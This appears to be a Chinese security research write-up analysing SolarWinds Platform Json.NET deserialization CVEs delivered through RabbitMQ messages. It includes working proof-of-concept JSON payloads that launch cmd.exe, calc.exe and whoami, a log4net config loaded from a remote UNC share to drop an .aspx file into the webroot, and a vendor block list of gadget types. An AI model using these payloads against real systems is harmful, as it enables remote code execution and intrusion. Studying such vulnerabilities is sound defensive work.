作者:g7shot@青藤实验室
原文链接:https://mp.weixin.qq.com/s/VZRTARvg77BgAd0HgDCmyA

环境搭建和介绍

这系列漏洞都是基于Json.net的反序列化:

  • 三方组件自定义不安全的反序列化RCE(CVE-2022-38108)
  • JsonConverter自定义不安全反序列化RCE(CVE-2022-36957)
  • 挖掘适用于Json的TextFormattingRunProperties利用链RCE(CVE-2022-38111)
  • 利用Json特性挖掘适用于solarwinds的利用链RCE(CVE-2022-47503、CVE-2022-47507、CVE-2023-23836、CVE-2022-36957)

最后通过这些漏洞拓展了挖掘Json.net反序列化的思路。

配置rabbitmq用户,默认用户orion

 rabbitmqctl.bat add_user admin admin
 rabbitmqctl.bat set_permissions admin .* .* .*
 rabbitmqctl.bat set_user_tags admin administrator

CVE-2022-38108

对比diff很明显的反序列化,修复是通过黑名单方式修复

漏洞分析

通过 RabbitMQ 发送到 Solarwinds(SWIS) 的消息内容包含 Json.NET 序列化对象,solarwinds反序列化Json数据时TypeNameHandling设置为Auto,并且未配置类型校验导致RCE,借用chudyPB的一张图

对EasyNetQ来说,反序列化器可以自定义或者使用自带的比如NewtonsoftJsonSerializer,反序列化器会在初始化连接的时候进行注册,如

IBus bus = null;
string connString = "host=192.168.45.142:5672;virtualHost=/;username=admin;password=admin";
// serviceRegister 需要自定义反序列化器需要实现ISerializer接口
bus = RabbitHutch.CreateBus(connString, serviceRegister =>
{
    serviceRegister.Register<ISerializer>(resolver =>
        new CustomSerializer());
});

全局搜索找到Solarwinds注册的反序列化器为EasyNetQSerializer

//SolarWinds.MessageBus.RabbitMQ.EasyNetQueueConnection
this._bus = RabbitHutch.CreateBus(connectionConfiguration, delegate(IServiceRegister x)
{
    x.Register<ISerializer, EasyNetQSerializer>(Lifetime.Singleton);
});

在EasyNetQ.RabbitAdvancedBus.Consume()打个断点,向RabbitMQ(routing_key='SwisPubSub')发送消息时,会将二进制数据交给EasyNetQ处理进行反序列化的操作。

并且可以看到此时反序列化器为EasyNetQSerializer。 DeserializeMessage方法有两个参数properties和body,properties中包含了反序列化格式和类型,body的内容包括了我们发送的json数据如下:

跟进DeserializeMessage方法,实现如下

public IMessage DeserializeMessage(MessageProperties properties, byte[] body)
{
  //拿到消息属性中的type
    Type messageType = this.typeNameSerializer.DeSerialize(properties.Type);
    //反序列化body
    object body2 = this.serializer.BytesToMessage(messageType, body);
    return MessageFactory.CreateInstance(messageType, body2, properties);
} 

这里会提取properties中的Type,当作反序列化后的类型,可控。 继续跟进,很明显的反序列化

漏洞复现

放个三月份的截图

漏洞修复

注册ContracResolver使用黑名单列表拦截。

"System.Diagnostics.Process",
"System.Diagnostics.ProcessStartInfo",
"System.Data.Services.Internal.ExpandedWrapper",
"System.Workflow.ComponentModel.AppSettings",
"Microsoft.PowerShell.Editor",
"System.Windows.Forms.AxHost.State",
"System.Security.Claims.ClaimsIdentity",
"System.Security.Claims.ClaimsPrincipal",
"System.Runtime.Remoting.ObjRef",
"System.Drawing.Design.ToolboxItemContainer",
"System.DelegateSerializationHolder",
"System.DelegateSerializationHolder+DelegateEntry",
"System.Activities.Presentation.WorkflowDesigner",
"System.Windows.ResourceDictionary",
"System.Windows.Data.ObjectDataProvider",
"System.Windows.Forms.BindingSource",
"Microsoft.Exchange.Management.SystemManager.WinForms.ExchangeSettingsProvider",
"System.Management.Automation.PSObject",
"System.Configuration.Install.AssemblyInstaller",
"System.Security.Principal.WindowsIdentity",
"System.Workflow.ComponentModel.Serialization.ActivitySurrogateSelector",
"System.Workflow.ComponentModel.Serialization.ActivitySurrogateSelector+ObjectSurrogate+ObjectSerializedRef",
"System.Web.Security.RolePrincipal",
"System.IdentityModel.Tokens.SessionSecurityToken",
"System.Web.UI.MobileControls.SessionViewState+SessionViewStateHistoryItem",
"Microsoft.IdentityModel.Claims.WindowsClaimsIdentity",
"System.Security.Principal.WindowsPrincipal"

CVE-2022-38111

影响版本 SolarWinds Platform 2022.4.1,至此以后的版本都添加了白名单。

最近chudyPB更新了ysoserial,包括适用于Json.net的新链。

JSON.NET 特性

1.构造函数选择机制

  • 查找[JsonConstructorAttribute]特性的constrcutor
  • 查找不接受参数的公共构造函数
  • 查找是否具有带参数的单个构造函数
  • 最后检查对于非公共默认构造函数(ConstructorHandling = ConstructorHandling.AllowNonPublicDefaultConstructor)

2.序列化机制

  • Json.NET可以调用类的无参公共构造函数并调用其公共setter
  • 可序列化的构造函数(带有 SerializationInfo 和StreamingContext 参数)和SerializationCallbacks

BinaryFormatter_TextFormattingRunProperties链子原理见BinaryFormatter.md

调用链:TextFormattingRunProperties构造函数->GetObjectFromSerializationInfo()-->XamlReader.Parse(@string),BinaryFormatter的exp是通过重写构造函数将ForegroundBrush的值插入SerializationInfo中,最后触发RCE。

Newtonsoft???

跟踪其反序列化的过程,在JsonSerializerInternalReader#CreateISerializable中也会将值插入到SerializationInfo中,最后触发RCE,代码如下:

适用于Json.net的TextFormattingRunProperties链

{"$type":"Microsoft.VisualStudio.Text.Formatting.TextFormattingRunProperties, Microsoft.PowerShell.Editor, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35","ForegroundBrush":"<ResourceDictionary
xmlns=\"http://schemas.microsoft.com/winfx/2006/xaml/presentation\"
xmlns:x=\"http://schemas.microsoft.com/winfx/2006/xaml\"
xmlns:System=\"clr-namespace:System;assembly=mscorlib\"
xmlns:Diag=\"clr-namespace:System.Diagnostics;assembly=system\">
    <ObjectDataProvider x:Key=\"LaunchCalch\" ObjectType=\"{x:Type Diag:Process}\" MethodName=\"Start\">
        <ObjectDataProvider.MethodParameters>
            <System:String>cmd.exe</System:String>
            <System:String>/c calc.exe</System:String>
        </ObjectDataProvider.MethodParameters>
    </ObjectDataProvider>
</ResourceDictionary>"}

从而绕过黑名单。

CVE-2022-36957

和CVE-2022-38108入口点一样,对比diff在PropertyBagJsonConverter新增新增黑名单

看看具体是如何实现的

//SolarWinds.MessageBus.Models.PropertyBagJsonConverter
//自定义反序列化过程ReadJson
public override object ReadJson(JsonReader reader, Type objectType, object existingValue, JsonSerializer serializer)
{
    if (reader.TokenType == JsonToken.Null)
    {
        return null;
    }
    if (reader.TokenType == JsonToken.StartObject)
    {
        PropertyBag propertyBag = new PropertyBag();
        foreach (JProperty jproperty in JObject.Load(reader).Properties())
        {
            object value;
            if (jproperty.Value.Type == JTokenType.Null)
            {
                value = null;
            }
            else
            {
                JObject jobject = (JObject)jproperty.Value;
                Type type = Type.GetType((string)jobject["t"]);
                value = jobject["v"].ToObject(type, serializer);
            }
            propertyBag[jproperty.Name] = value;
        }
        return propertyBag;
    }
    throw new InvalidOperationException(string.Format("Unexpected json token type {0}", reader.TokenType));
}

t和v均可控,现在就要考虑如何调用到这。该类继承了JsonConverter实现了自定义的反序列化器,具体用法参考CustomJsonConverter.htm

存在以下两种情况:

1. JsonSerializerSettings中注册了PropertyBagJsonConverter(没找到)

2. 找到使用了PropertyBagJsonConverter特性的类反序列化的点即类标记[JsonConverter(typeof(PropertyBagJsonConverter))]

第二种情况找到了SolarWinds.MessageBus.Models.PropertyBag类,只需要向rabbitmq发送type为SolarWinds.MessageBus.Models.PropertyBag, SolarWinds.MessageBus的json数据,最终就能调用到SolarWinds.MessageBus.Models.PropertyBagJsonConverter#Readjson触发发序列化,payload。

    "payload": {
        "t": "System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
        "v": {
            "$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
            "MethodName": "Start",
            "MethodParameters": {
                "$type": "System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
                "$values": ["cmd", "/c whoami > c:\\PropertyBag.txt"]
            },
            "ObjectInstance": {
                "$type": "System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"
            }
        }
    }
}

CVE-2022-47503

影响版本 SolarWinds Platform 2022.4.1

漏洞作者找了一条适用于solarwinds的利用链WorkerControllerWCFProxy_RCE

主要代码如下:

    //SolarWinds.JobEngine.Engine.WorkerControllerWCFProxy, SolarWinds.JobEngine
    internal class WorkerControllerWCFProxy : IWorkerControllerProxy, IWorkerControllerService, IDisposable
    {
        public event EventHandler WorkerControllerTerminated;
        //静态无参构造函数
        static WorkerControllerWCFProxy()
        {
            ServicePointManager.ServerCertificateValidationCallback = (RemoteCertificateValidationCallback)Delegate.Combine(ServicePointManager.ServerCertificateValidationCallback, new RemoteCertificateValidationCallback((object sender, X509Certificate certificate, X509Chain chain, SslPolicyErrors errors) => true));
        }
        //公开的、唯一的有参构造函数,Json.net会调用
        public WorkerControllerWCFProxy(WorkerConfiguration workerConfiguration, ServiceOperationMode operationMode, string workerProcessLabel)
        {
            this.workerConfiguration = workerConfiguration;
            this.operationMode = operationMode;
            this.workerProcessLabel = workerProcessLabel;
            this.uri = this.LaunchWorkerProcess();
            this.Connect();
        }
        ........
        // 返回ProcessStartInfo,进程路径和参数来自this.workerConfiguration,可控
        private ProcessStartInfo CreateCustomWorkerProcessStartInfo()
        {
            int availablePort = NetworkHelper.GetAvailablePort(JobEngineSettings.GetSection().MinCustomWorkerPortNumber, JobEngineSettings.GetSection().MaxCustomWorkerPortNumber);
            if (availablePort <= 0)
            {
                throw new Exception("Unable to get free port for worker process");
            }
            this.Port = (ushort)availablePort;
            string text = string.Format("{0} -port {1} -id {2} -ppid {3}", new object[]
            {
                this.workerConfiguration.CommandArguments,
                this.Port,
                this.id,
                Process.GetCurrentProcess().Id
            });
            string text2 = Path.Combine(this.pluginDirectory.Value, this.workerConfiguration.CommandLine);
            if (WorkerControllerWCFProxy.log.IsDebugEnabled)
            {
                WorkerControllerWCFProxy.log.DebugFormat("Custom worker commandline: {0} {1}", text2, text);
            }
            return new ProcessStartInfo(text2)
            {
                Arguments = text,
                WorkingDirectory = this.pluginDirectory.Value
            };
        }

        ........
        // 构造函数中调用,当WorkerType等于Custom会调用CreateCustomWorkerProcessStartInfo,workerType来自workerConfiguration
        private Uri LaunchWorkerProcess()
        {
            WorkerType workerType = this.workerConfiguration.WorkerType;
            ProcessStartInfo processStartInfo;
            if (workerType != WorkerType.Native)
            {
                if (workerType != WorkerType.Custom)
                {
                    throw new ArgumentOutOfRangeException();
                }
                WorkerControllerWCFProxy.log.Debug("Launching Custom Worker Process");
                processStartInfo = this.CreateCustomWorkerProcessStartInfo();
            }
            else
            {
                WorkerControllerWCFProxy.log.Debug("Launching Native Worker Process");
                processStartInfo = this.CreateNativeWorkerProcessStartInfo();
            }
            processStartInfo.UseShellExecute = false;
            Uri result = null;
            using (EventWaitHandle eventWaitHandle = new EventWaitHandle(false, EventResetMode.ManualReset, WorkerSynchronizationHelper.GetWorkerProcessWaitHandleName(this.id.ToString())))
            {
                this.process = Process.Start(processStartInfo);
                this.ProcessId = this.process.Id;
                while (!eventWaitHandle.WaitOne(10, false))
                {
                    if (this.process.WaitForExit(0))
                    {
                        throw new Exception("Failure starting worker process");
                    }
                }
            }
            if (this.workerConfiguration.WorkerType == WorkerType.Native)
            {
                result = WorkerAddressDirectory.GetWorkerAddress(this.id);
            }
            if (WorkerControllerWCFProxy.log.IsInfoEnabled)
            {
                WorkerControllerWCFProxy.log.InfoFormat("Started new worker process with pid {0}", this.ProcessId);
            }
            return result;
        }

该类有一个LaunchWorkerProcess方法能够启动一个新的进程,所有参数来自workerConfiguration类中WorkerType、CommandLine、CommandArguments

上面说了Json.net的反序列化特性,当反序列化该类时会调用唯一有参构造函数,并且能够向构造函数传入参数。

    public WorkerControllerWCFProxy(WorkerConfiguration workerConfiguration, ServiceOperationMode operationMode, string workerProcessLabel)
    {
        this.workerConfiguration = workerConfiguration;
        this.operationMode = operationMode;
        this.workerProcessLabel = workerProcessLabel;
        this.uri = this.LaunchWorkerProcess();
        this.Connect();
    }

所以重点关注WorkerConfiguration类中的几个参数是否可控

显而易见public and setter,poc

{
    "$type": "SolarWinds.JobEngine.Engine.WorkerControllerWCFProxy, SolarWinds.JobEngine, Version=2022.4.0.0, Culture=neutral, PublicKeyToken=null",
    "workerConfiguration": {
    "$type": "SolarWinds.JobEngine.WorkerConfiguration, SolarWinds.JobEngine, Version=2022.4.0.0, Culture=neutral, PublicKeyToken=null",
    "WorkerType": 1,
    "CommandLine":
   "..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\Windows\\System32\\cmd.exe",
    "CommandArguments": "/c whoami > C:\\poc.txt & "
    },
    "operationMode": 0,
    "workerProcessLabel": "whatever"
   }

CVE-2022-47507

关键类是WorkerProcessWCFProxy,实现如下

    //SolarWinds.JobEngine.Engine.WorkerProcessWCFProxy
    internal class WorkerProcessWCFProxy : WorkerProcessProxyBase, IWorkerProcessProxyWithShadowCacheCleanup, IWorkerProcessProxy, IJobExecutionEngine, IDisposable
    {
        public WorkerProcessWCFProxy(int maxConcurrentJobs, string assemblyName, WorkerConfiguration workerConfiguration, ServiceOperationMode operationMode)
        {
            this.maxConcurrentJobs = maxConcurrentJobs;
            this.assemblyName = assemblyName;
            this.operationMode = operationMode;
            this.workerConfiguration = workerConfiguration;
            try
            {
                this.CreateWorkerController();
                this.LaunchWorker();
                this.Connect();
            }
            catch (Exception)
            {
                this.Terminate();
                throw;
            }
        }
        ......
        // 这里直接调用上面的WorkerControllerWCFProxy类,可RCE
        private void CreateWorkerController()
        {
            this.workerController = new WorkerControllerWCFProxy(this.workerConfiguration, this.operationMode, this.assemblyName);
        }

CreateWorkerController方法调用了WorkerControllerWCFProxy,补全构造函数就行。

{
 "$type": "SolarWinds.JobEngine.Engine.WorkerProcessWCFProxy, SolarWinds.JobEngine, Version=2022.4.0.0, Culture=neutral, PublicKeyToken=null",
 "maxConcurrentJobs": 5,
 "workerConfiguration": {
 "$type": "SolarWinds.JobEngine.WorkerConfiguration, SolarWinds.JobEngine, Version=2022.4.0.0, Culture=neutral, PublicKeyToken=null",
 "WorkerType": 1,
 "CommandLine": "..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\Windows\\System32\\cmd.exe",
 "CommandArguments": "/c calc.exe & "
 },
 "operationMode": 0,
 "assemblyName": "whatever"
}

CVE-2023-23836(文件写->RCE)

利用类是CredentialInitializer

[Serializable]
    public class CredentialInitializer
    {
    //公共唯一构造函数
        public CredentialInitializer(string logConfigFile)
        {
            try
            {
                this.ConfigureLog(logConfigFile);
                this.InstallCertificate();
                this.ConvertCredentials();
                this.ConvertOldSnmpv3Credentials();
            }
            catch (Exception exception)
            {
                CredentialInitializer.log.Error("Error occurred when trying to initialize shared credentials", exception);
                throw;
            }
        }
        //加载配置
        private void ConfigureLog(string configFile)
        {
            if (string.IsNullOrEmpty(configFile))
            {
                Log.Configure(string.Empty);
            }
            else
            {
                Log.Configure(configFile);
            }
            CredentialInitializer.log.DebugFormat("Used log configuration file: {0}", configFile);
        }

// SolarWinds.Logging.Log
.......
// 提取log4net标签并加载配置
public static void Configure(string configFile = null)
{
    foreach (string text in Log.EnumFile(configFile))
    {
        if (!string.IsNullOrEmpty(text))
        {
            FileInfo fileInfo = new FileInfo(text);
            if (fileInfo.Exists)
            {
                HashSet<string> configurations = Log._configurations;
                lock (configurations)
                {
                    if (Log._configurations.Contains(fileInfo.FullName))
                    {
                        continue;
                    }
                }
                try
                {
                    XmlDocument xmlDocument = new XmlDocument();
                    xmlDocument.Load(fileInfo.FullName);
                    XmlNodeList elementsByTagName = xmlDocument.GetElementsByTagName("log4net");
                    if (elementsByTagName != null && elementsByTagName.Count > 0)
                    {
                        configurations = Log._configurations;
                        lock (configurations)
                        {
                            if (!Log._configurations.Contains(fileInfo.FullName))
                            {
                                XmlConfigurator.ConfigureAndWatch(fileInfo);
                                Log._configurations.Add(fileInfo.FullName);
                            }
                        }
                    }
                }
                catch
                {
                }
            }
        }
    }
}

利用log4net日志功能写入文件,原配置文件在C:\Program Files\SolarWinds\Orion\SolarWinds.Cortex.log4net.config,这里是log4net的示例

这里利用需要修改两处配置:

// 修改RollingLogFileAppender
  <appender name="RollingLogFileAppender" type="log4net.Appender.RollingFileAppender">
    <file value="C:\inetpub\wwwroot\poc.aspx" type="log4net.Util.PatternString" />
    <encoding value="utf-8" />
    <appendToFile value="false" />
    <rollingStyle value="Size" />
    <maxSizeRollBackups value="5" />
    <maximumFileSize value="10MB" />
    <layout type="log4net.Layout.PatternLayout">
      <header type="log4net.Util.PatternString" value="hackhack" />
      <conversionPattern value="" />
    </layout>
  </appender>
// 新增logger
 <logger name="SolarWinds.IPAM.Storage.Credentials.CredentialInitializer">
 <level value="DEBUG"></level>
 </logger>

poc

//写文件
{
"$type":"SolarWinds.IPAM.Storage.Credentials.CredentialInitializer, SolarWinds.IPAM.Storage, Version=2022.4.0.0, Culture=neutral,PublicKeyToken=null",
"logConfigFile":"\\\\192.168.1.10\\x.config"
}

//恢复配置
{
"$type":"SolarWinds.IPAM.Storage.Credentials.CredentialInitializer, SolarWinds.IPAM.Storage, Version=2022.4.0.0, Culture=neutral,PublicKeyToken=null",
"logConfigFile":"C:\\Program Files\\SolarWinds\\Orion\\SolarWinds.Cortex.log4net.config"
}

发送payload最终生成文件。

CVE-2022-36957(文件读->RCE)

利用类在SqlFileScript

namespace SolarWinds.Database.Setup.Internals
{
    [ComVisible(false)]
    internal class SqlFileScript : SqlScript
    {
        public SqlFileScript(FileInfo scriptFile) : base(scriptFile.FullName, null)
        {
            this.scriptFile = scriptFile;
        }
    //getter
        public override string Contents
        {
            get
            {
                string result;
                if ((result = this.contents) == null)
                {
                    result = (this.contents = File.ReadAllText(this.scriptFile.FullName));
                }
                return result;
            }
        }
        private volatile string contents;
        private readonly FileInfo scriptFile;
    }
}

与前面几个CVE不同的是,触发漏洞是在序列化触发的。如上代码文件读的过程是在序列化过程调用getter触发的,攻击流程是发送恶意数据触发反序列化SqlFileScript类,服务端序列化消息发送给RabbitMq,攻击者通过读取队列消息拿到文件内容,利用读取到的.erlang.cookie的值通过erl执行命令。

拓展

参考CVE-2022-36957,最终漏洞利用是通过不安全的序列化(call getter)导致的,实际场景中少有类似利用链:unsafe deserialization(setter) --> Object --> unsafe serialization(getter)--> RCE,更多的是直接反序列化RCE,相当于Sink只有反序列化链或恶意setter,@chudyPB的新思路拓展了新的攻击面,寻找某些setter中调用任意getter:unsafe deserialization(setter)--> 任意getter -->RCE,由此诞生了很多新链子,具体见ysoserial.net

参考链接

  1. Newtonsoft

  2. Rabbitmq-AMQP协议

  3. EasyNetQ自定义序列化消息

  4. whitepaper-net-deser.pdf


Paper 本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/3064/